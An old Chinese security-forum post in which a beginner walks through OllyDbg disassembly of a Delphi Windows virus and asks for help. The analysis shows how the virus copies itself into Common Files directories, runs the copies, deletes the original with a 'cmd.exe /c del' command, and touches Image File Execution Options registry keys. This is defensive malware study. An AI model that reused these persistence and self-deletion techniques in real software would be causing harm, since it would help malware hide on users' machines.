首页
社区
课程
招聘
[旧帖] [分享]一个小病毒 0.00雪花
发表于: 2008-3-18 11:14 3662

[旧帖] [分享]一个小病毒 0.00雪花

2008-3-18 11:14
3662
逆向一个病毒,系统重做了N回,终于走到最后,却很郁闷,

如果哪位大侠肯指导一下,在这里先谢谢了!!!!!!!

病毒原文件以前贴过.

开始的过程就不贴了,一直是在对一些字串的操作,

很烦人,主要就是申请空间(在vista下是00CCXXXX这样的值,2ksp4是00D2XXXX),

把.exe和它定义好的字串(盘符,注册表,和几个系统目录)连接,

再把接好的字串存入栈,同时上面的地址也在不断的变大,

(想到最后栈会清掉,里面会不会就是病毒什么重要数据呀?????瞎猜呢,)

开了几个服务,要了电脑名,

为下面准备,

还要变大写(俺不懂,变大写有用吗?),罗嗦的很,

当然本人很菜,很多call也不知它在作甚,

大部分是猜的,说得不对,让大家见笑了.

病毒是先要更新换代的,主要是两个系统目录.
把原文件复制到下面两个目录中并执行,
同时还把名字改没了(.exe).

C:\Program Files\Common Files\Microsoft Shared\
C:\Program Files\Common Files\System\

0040FBE7  |.  50            push    eax                              ; |ExistingFileName
0040FBE8  |.  E8 974AFFFF   call    <jmp.&kernel32.CopyFileA>        ; \CopyFileA
0040FBED  |.  6A FF         push    -1                               ;  把原程序拷贝到目标路径,并改名
0040FBEF  |.  8D85 E0FEFFFF lea     eax, dword ptr ss:[ebp-120]
0040FBF5  |.  E8 D67EFFFF   call    00407AD0                         ;  shared
0040FBFA  |.  FFB5 E0FEFFFF push    dword ptr ss:[ebp-120]
0040FC00  |.  A1 3C154100   mov     eax, dword ptr ds:[41153C]
0040FC05  |.  FF30          push    dword ptr ds:[eax]
0040FC07  |.  FF37          push    dword ptr ds:[edi]
0040FC09  |.  8D85 E4FEFFFF lea     eax, dword ptr ss:[ebp-11C]
0040FC0F  |.  BA 03000000   mov     edx, 3
0040FC14  |.  E8 3F41FFFF   call    00403D58
0040FC19  |.  8B85 E4FEFFFF mov     eax, dword ptr ss:[ebp-11C]
0040FC1F  |.  E8 7442FFFF   call    00403E98
0040FC24  |.  50            push    eax
0040FC25  |.  A1 34154100   mov     eax, dword ptr ds:[411534]
0040FC2A  |.  8B00          mov     eax, dword ptr ds:[eax]
0040FC2C  |.  E8 6742FFFF   call    00403E98
0040FC31  |.  50            push    eax                              ; |ExistingFileName
0040FC32  |.  E8 4D4AFFFF   call    <jmp.&kernel32.CopyFileA>        ; \CopyFileA               
0040FC37  |.  6A 01         push    1                                                                ;它完成后我就把它换了别的程序
0040FC39  |.  8D85 D8FEFFFF lea     eax, dword ptr ss:[ebp-128]
0040FC3F  |.  E8 DC7DFFFF   call    00407A20
0040FC44  |.  FFB5 D8FEFFFF push    dword ptr ss:[ebp-128]
0040FC4A  |.  A1 5C144100   mov     eax, dword ptr ds:[41145C]
0040FC4F  |.  FF30          push    dword ptr ds:[eax]
0040FC51  |.  FF37          push    dword ptr ds:[edi]
0040FC53  |.  8D85 DCFEFFFF lea     eax, dword ptr ss:[ebp-124]
0040FC59  |.  BA 03000000   mov     edx, 3
0040FC5E  |.  E8 F540FFFF   call    00403D58
0040FC63  |.  8B85 DCFEFFFF mov     eax, dword ptr ss:[ebp-124]
0040FC69  |.  E8 2A42FFFF   call    00403E98
0040FC6E  |.  50            push    eax                              ; |CmdLine
0040FC6F  |.  E8 304BFFFF   call    <jmp.&kernel32.WinExec>          ; \WinExec                        ;在此之前可以放心的跟,
0040FC74  |.  6A 01         push    1
0040FC76  |.  8D85 D0FEFFFF lea     eax, dword ptr ss:[ebp-130]
0040FC7C  |.  E8 4F7EFFFF   call    00407AD0
0040FC81  |.  FFB5 D0FEFFFF push    dword ptr ss:[ebp-130]
0040FC87  |.  A1 3C154100   mov     eax, dword ptr ds:[41153C]
0040FC8C  |.  FF30          push    dword ptr ds:[eax]
0040FC8E  |.  FF37          push    dword ptr ds:[edi]
0040FC90  |.  8D85 D4FEFFFF lea     eax, dword ptr ss:[ebp-12C]
0040FC96  |.  BA 03000000   mov     edx, 3
0040FC9B  |.  E8 B840FFFF   call    00403D58
0040FCA0  |.  8B85 D4FEFFFF mov     eax, dword ptr ss:[ebp-12C]
0040FCA6  |.  E8 ED41FFFF   call    00403E98
0040FCAB  |.  50            push    eax                              ; |CmdLine
0040FCAC  |.  E8 F34AFFFF   call    <jmp.&kernel32.WinExec>          ; \WinExec

列举d到z

执行原程序

0040FCBC  |> /A1 58154100   /mov     eax, dword ptr ds:[411558]
0040FCC1  |. |8B13          |mov     edx, dword ptr ds:[ebx]
0040FCC3  |. |E8 A03EFFFF   |call    00403B68
0040FCC8  |. |8D95 CCFEFFFF |lea     edx, dword ptr ss:[ebp-134]
0040FCCE  |. |A1 34154100   |mov     eax, dword ptr ds:[411534]
0040FCD3  |. |8B00          |mov     eax, dword ptr ds:[eax]
0040FCD5  |. |E8 2667FFFF   |call    00406400
0040FCDA  |. |8B85 CCFEFFFF |mov     eax, dword ptr ss:[ebp-134]
0040FCE0  |. |50            |push    eax
0040FCE1  |. |A1 58154100   |mov     eax, dword ptr ds:[411558]
0040FCE6  |. |FF30          |push    dword ptr ds:[eax]
0040FCE8  |. |A1 50154100   |mov     eax, dword ptr ds:[411550]
0040FCED  |. |FF30          |push    dword ptr ds:[eax]
0040FCEF  |. |FF37          |push    dword ptr ds:[edi]
0040FCF1  |. |8D85 C4FEFFFF |lea     eax, dword ptr ss:[ebp-13C]
0040FCF7  |. |BA 03000000   |mov     edx, 3
0040FCFC  |. |E8 5740FFFF   |call    00403D58
0040FD01  |. |8B85 C4FEFFFF |mov     eax, dword ptr ss:[ebp-13C]
0040FD07  |. |8D95 C8FEFFFF |lea     edx, dword ptr ss:[ebp-138]
0040FD0D  |. |E8 EE66FFFF   |call    00406400
0040FD12  |. |8B95 C8FEFFFF |mov     edx, dword ptr ss:[ebp-138]
0040FD18  |. |58            |pop     eax
0040FD19  |. |E8 C640FFFF   |call    00403DE4
0040FD1E  |. |74 05         |je      short 0040FD25
0040FD20  |. |E8 A761FFFF   |call    00405ECC                          ; 执行call
0040FD25  |> |83C3 04       |add     ebx, 4
0040FD28  |. |4E            |dec     esi
0040FD29  |.^\75 91         \jnz     short 0040FCBC

00405ECC  /$  55            push    ebp
00405ECD  |.  8BEC          mov     ebp, esp
00405ECF  |.  81C4 ECFEFFFF add     esp, -114
00405ED5  |.  33C0          xor     eax, eax
00405ED7  |.  8985 F4FEFFFF mov     dword ptr ss:[ebp-10C], eax
00405EDD  |.  8985 F0FEFFFF mov     dword ptr ss:[ebp-110], eax
00405EE3  |.  8985 ECFEFFFF mov     dword ptr ss:[ebp-114], eax
00405EE9  |.  33C0          xor     eax, eax
00405EEB  |.  55            push    ebp
00405EEC  |.  68 875F4000   push    00405F87
00405EF1  |.  64:FF30       push    dword ptr fs:[eax]
00405EF4  |.  64:8920       mov     dword ptr fs:[eax], esp
00405EF7  |.  68 04010000   push    104                              ; /BufSize = 104 (260.)
00405EFC  |.  8D85 FBFEFFFF lea     eax, dword ptr ss:[ebp-105]      ; |
00405F02  |.  50            push    eax                              ; |Buffer
00405F03  |.  68 945F4000   push    00405F94                         ; |VarName = "Comspec"
00405F08  |.  E8 FFE7FFFF   call    <jmp.&kernel32.GetEnvironmentVar>; \GetEnvironmentVariableA
00405F0D  |.  6A 00         push    0
00405F0F  |.  8D85 F0FEFFFF lea     eax, dword ptr ss:[ebp-110]
00405F15  |.  8D95 FBFEFFFF lea     edx, dword ptr ss:[ebp-105]      ;  堆栈地址=0012FCE7, (ASCII "C:\Windows\system32\cmd.exe")
00405F1B  |.  B9 05010000   mov     ecx, 105
00405F20  |.  E8 5BDDFFFF   call    00403C80
00405F25  |.  FFB5 F0FEFFFF push    dword ptr ss:[ebp-110]
00405F2B  |.  68 A45F4000   push    00405FA4                         ;  00405FA4=00405FA4 (ASCII " /c del """)
00405F30  |.  8D95 ECFEFFFF lea     edx, dword ptr ss:[ebp-114]
00405F36  |.  33C0          xor     eax, eax
00405F38  |.  E8 CBC7FFFF   call    00402708
00405F3D  |.  FFB5 ECFEFFFF push    dword ptr ss:[ebp-114]
00405F43  |.  68 B85F4000   push    00405FB8
00405F48  |.  8D85 F4FEFFFF lea     eax, dword ptr ss:[ebp-10C]
00405F4E  |.  BA 04000000   mov     edx, 4
00405F53  |.  E8 00DEFFFF   call    00403D58
00405F58  |.  8B85 F4FEFFFF mov     eax, dword ptr ss:[ebp-10C]      ;  堆栈 ss:[0012FCE0]=010D1480, (ASCII "C:\Windows\system32\cmd.exe /c del ""D:\1.exe""")
00405F5E  |.  E8 35DFFFFF   call    00403E98
00405F63  |.  50            push    eax                              ; |CmdLine
00405F64  |.  E8 3BE8FFFF   call    <jmp.&kernel32.WinExec>          ; \WinExec
00405F69  |.  33C0          xor     eax, eax                         ;  堆栈 ss:[0012FCE0]=010D1480, (ASCII "C:\Windows\system32\cmd.exe /c del ""D:\1.exe""")
00405F6B  |.  5A            pop     edx
00405F6C  |.  59            pop     ecx
00405F6D  |.  59            pop     ecx
00405F6E  |.  64:8910       mov     dword ptr fs:[eax], edx
00405F71  |.  68 8E5F4000   push    00405F8E
00405F76  |>  8D85 ECFEFFFF lea     eax, dword ptr ss:[ebp-114]
00405F7C  |.  BA 03000000   mov     edx, 3
00405F81  |.  E8 B2DBFFFF   call    00403B38
00405F86  \.  C3            retn

不知是不是因为我这只有D盘,最后执行的总是D

0040FD2B     /E9 C0050000   jmp     004102F0                                ;完成后跑去清理栈里的数据了.

004102F0  |> \33C0          xor     eax, eax
004102F2  |.  5A            pop     edx
004102F3  |.  59            pop     ecx
004102F4  |.  59            pop     ecx
004102F5  |.  64:8910       mov     dword ptr fs:[eax], edx
004102F8  |.  68 25034100   push    00410325
004102FD  |>  8D85 6CFEFFFF lea     eax, dword ptr ss:[ebp-194]
00410303  |.  BA 39000000   mov     edx, 39
00410308  |.  E8 2B38FFFF   call    00403B38                         ;  把栈数据清空
0041030D  |.  8D85 78FFFFFF lea     eax, dword ptr ss:[ebp-88]
00410313  |.  BA 1E000000   mov     edx, 1E
00410318  |.  E8 1B38FFFF   call    00403B38
0041031D  \.  C3            retn

下面是要清除的栈数据

0012FE64   01041A18  ASCII "z:\.exe"
0012FE68   01041A2C  ASCII "Z:\.EXE"
0012FE6C   01040AD8  ASCII "D:\1.EXE"                                                 ;这是病毒原件
0012FE70   010413B4  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FE74   010413F0  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FE78   01041320  ASCII "C:\Program Files\Common Files\System\"
0012FE7C   01041354  ASCII "C:\Program Files\Common Files\System\.exe"
0012FE80   0104127C  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FE84   010412B8  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FE88   010411E8  ASCII "C:\Program Files\Common Files\System\"
0012FE8C   0104121C  ASCII "C:\Program Files\Common Files\System\.exe"
0012FE90   00000000
0012FE94   00000000
0012FE98   01041104  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FE9C   01041140  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FEA0   01041180  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FEA4   01041054  ASCII "C:\Program Files\Common Files\Microsoft Shared\dlvmiq"
0012FEA8   01041098  ASCII "C:\Program Files\Common Files\Microsoft Shared\dlvmiq"
0012FEAC   01040F88  ASCII "C:\Program Files\Common Files\System\"
0012FEB0   01040FBC  ASCII "C:\Program Files\Common Files\System\.exe"
0012FEB4   01040FF4  ASCII "C:\Program Files\Common Files\System\.exe"
0012FEB8   01040EF0  ASCII "C:\Program Files\Common Files\System\dlvmiq"
0012FEBC   01040F28  ASCII "C:\Program Files\Common Files\System\dlvmiq"
0012FEC0   01040E4C  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FEC4   01040E88  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FEC8   01040DB8  ASCII "C:\Program Files\Common Files\System\"
0012FECC   01040DEC  ASCII "C:\Program Files\Common Files\System\.exe"
0012FED0   01040D14  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FED4   01040D50  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FED8   01040B08  ASCII "C:\Program Files\Common Files\System\"
0012FEDC   01040CB4  ASCII "C:\Program Files\Common Files\System\.exe"
0012FEE0   01040C38  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FEE4   01040C74  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FEE8   01040A8C  ASCII "C:\Program Files\Common Files\System\"
0012FEEC   01040BD8  ASCII "C:\Program Files\Common Files\System\.exe"

0012FF18   01040BB4  ASCII "&&&"
0012FF1C   01040AF0  ASCII "LENOVO-PC"
0012FF20   01040B3C  ASCII "DBFH^H%WK&&&"
0012FF24   01040A74  ASCII "LENOVO-PC"
0012FF28   01040AC0  ASCII "DBFH^H%WK"
0012FF2C   01040A4C  ASCII "###DBFH^H%WK"
0012FF30   01040930  ASCII "C:\Program Files\Common Files\Microsoft Shared\"
0012FF34   0104096C  ASCII "C:\Program Files\Common Files\Microsoft Shared\.exe"
0012FF38   010409AC  ASCII "C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\.EXE"
0012FF3C   010408F0  ASCII "D:\1.EXE"
0012FF40   0104084C  ASCII "C:\Program Files\Common Files\System\"
0012FF44   01040880  ASCII "C:\Program Files\Common Files\System\.exe"
0012FF48   010408B8  ASCII "C:\PROGRAM FILES\COMMON FILES\SYSTEM\.EXE"
0012FF4C   0104080C  ASCII "D:\1.EXE"
0012FF50   010407B0  ASCII "Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\.exe"
0012FF54   01040754  ASCII "Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\.exe"

很郁闷,到最后只看到了这些,深层的一点也没看到,主要是本人的水平太差,

在查找参考字串中可以知道,

病毒还有很多的动作,

对付杀软,病毒所在的系统目录打开就会被关闭,winrar被关,等等\\\\\\

可一路下来,没看见一点迹象,

试了试把参考里找出来的地址指定为新的eip,

却觉得自己这样没头没脑的.

请教高人 ,

自己是不是做的哪有问题呀,

1,病毒自己运行起来做的事,为什么我在OD里却追不到.

2,在一段我猜是申请空间的程序后返回的是 00CCXXXX(2ksp4是00D2XXXX)这样的地址,这属于哪一段,如果说错了请批评.

3,不知是Delphi难逆向还是病毒写的好,总是call里有call要进好几个子过程才能猜出它的功能.

由于没有任病毒运行成功,所以在执行后的跟踪很没把握.

==========================================

在vista下调试,病毒的活动uac也没见反应,倒是我替换病毒时反应强烈,

再有这个昨天发现金山升级到最新已经可以干掉这种病毒了,

这次学到了不少,从脱壳到跑完全程,可能有一个月了。

相比最后得到的,还是值得的,

抽时间再把程序整理一下,肯定还有更多发现!!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 215
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
看看
没样本
2008-3-18 15:37
0
雪    币: 328
活跃值: (10)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
3
冲这句一下,学习就要这种精神,千万不能浮躁。与君共勉。
2008-3-18 18:51
0
游客
登录 | 注册 方可回帖
返回